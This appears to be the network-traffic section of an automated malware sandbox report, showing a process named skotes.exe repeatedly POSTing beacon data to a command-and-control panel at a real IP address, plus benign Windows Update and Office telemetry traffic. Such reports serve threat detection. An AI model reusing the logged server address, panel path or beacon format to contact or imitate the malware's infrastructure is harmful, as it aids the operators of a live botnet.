131	192.168.2.4	50331	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:48.754868031 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:49.674221992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50332	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:51.186748028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:52.108227015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50333	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:53.754462957 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:54.682210922 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50334	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:56.228563070 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:08:57.143248081 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50335	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:08:58.774938107 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:08:59.691029072 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50336	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:01.232084990 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:02.153199911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50337	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:03.785831928 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:04.703026056 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	50338	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:06.218561888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:07.118578911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	50339	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:08.755287886 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:09.676733971 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	50340	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:11.209209919 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:12.120707035 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	50343	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:13.745089054 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:14.660892963 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	50344	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:16.178236008 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:17.094748974 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	50345	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:18.729279995 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:19.664341927 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	50346	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:21.207967997 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:22.231626987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	50347	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:23.859191895 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	50348	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:25.388418913 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:26.350662947 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	50349	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:27.977718115 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:28.895883083 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	50350	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:30.411377907 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:09:31.313747883 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	50351	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:09:33.017621994 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:09:34.303469896 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:09:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	52.149.20.212	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:21 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wmzoUWafuNHhfWZ&MD=cVVuztN8 HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-18 20:03:21 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 01872f9a-0e64-4ef4-9356-b7c930214f00 MS-RequestId: dfd19597-f9fe-4d30-b76d-1f4b440c91c8 MS-CV: /DT61WiLFEupyNPt.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 18 Nov 2024 20:03:21 GMT Connection: close Content-Length: 24490
2024-11-18 20:03:21 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-18 20:03:21 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.4	49736	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 20:03:57 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 20:03:58 UTC	492	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 20:03:58 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 16 Nov 2024 09:12:53 GMT ETag: "0x8DD061EDA65C651" x-ms-request-id: f97c396d-d01e-007a-478a-38f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T200358Z-164f84587bflm48hhC1DFW0nf8000000031g00000000cv3y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 20:03:58 UTC	15892	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
